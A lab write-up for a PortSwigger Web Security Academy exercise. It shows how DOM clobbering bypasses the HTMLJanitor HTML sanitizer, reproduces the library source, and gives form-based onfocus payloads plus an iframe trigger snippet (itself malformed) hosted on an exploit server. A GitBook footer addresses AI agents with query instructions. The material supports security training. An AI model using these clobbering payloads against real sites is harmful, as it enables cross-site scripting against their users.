> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/html-filter-bypass-via-dom-clobbering.md).

# HTML Filter Bypass via DOM Clobbering

HTML Filter Bypass via DOM Clobbering notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Clobbering DOM Attributes to Bypass HTML Filters

Use a weakness in the **HTMLJanitor** library (used by `loadCommentsWithHtmlJanitor`) to bypass HTML filtering via **DOM clobbering** and force `print()` execution in the victim's browser. Automatic execution may require the use of the exploit server.

The page uses **HTMLJanitor** to clean user HTML. The cleaner:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-451246bc94a5e289258a137b143e22a9935ed602%2F%7BF6977439-BEDA-46DD-B19B-DD05D74EF402%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* creates a sandbox document (`document.implementation.createHTMLDocument('')`) and injects the HTML to be cleaned;
* travels the tree via a `TreeWalker` and applies filtering rules on nodes and attributes;
* deletes comments and disassembles some unauthorized items, re-inserting children when the tag is rejected;
* validates attributes according to `config.tags` configuration and removes unauthorized attributes.

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags Dictionary of allowed tags.
   * @param {boolean} config.keepNestedBlockElements Default false.
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("The configuration was invalid");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // If this text node is just whitespace and the previous or next element
        // sibling is a block element, remove it
        // N.B.: This heuristic could change. Very specific to a bug with
        // `contenteditable` in Firefox: http://jsbin.com/EyuKase/1/edit?js,output
        // FIXME: make this an option?
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // Remove all comments
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // Block elements should not be nested (e.g. <li><p>...); if
      // they are, we want to unwrap the inner block element.
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // Drop tag entirely according to the whitelist *and* if the markup
      // is invalid.
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // Do not keep the inner text of SCRIPT/STYLE elements.
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // Sanitize attributes
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Shift the array to continue looping.
          a = a - 1;
        }
      }

      // Sanitize children
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* Principle: Inject an HTML fragment that creates or overwrites an item ID expected by the page script (e.g. a `<form id="x" tabindex=0 onfocus=...>`). By manipulating navigation (hash `#x`) or forcing focus, the event attribute is triggered.

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-779edce191530303eb37111a61d54dc62eee0f31%2F%7B0524BADA-3E4B-4489-B68A-DF04DDF0E080%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Final variant for the target (`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6345d8704d6eb263bc8b9f659db32e5edee6124f%2F%7B43907E37-FDFF-46F4-A3B7-5F69F495F819%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Automatic triggering via an iframe hosted on the exploit server: iframe loads the vulnerable page and then modifies its `src` to add `#x`, causing focus and execution of the `onfocus` handler. Example of the idea of using the exploit server:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.